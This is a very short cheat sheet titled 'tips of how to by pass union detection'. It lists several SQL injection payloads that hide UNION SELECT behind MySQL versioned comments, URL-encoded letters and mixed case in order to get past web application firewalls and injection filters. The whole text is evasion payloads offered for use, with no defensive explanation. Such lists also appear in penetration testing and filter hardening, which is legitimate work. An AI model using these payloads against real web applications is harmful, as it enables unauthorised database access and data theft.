tips of how to by pass union detection

/*!50000%55nIoN*/ /*!50000%53eLeCt*/
%55nion(%53elect 1,2,3)-- -
///*!12345UNION SELECT*///
///*!50000UNION SELECT*///
//UNION///*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
tips of how to by pass union detection

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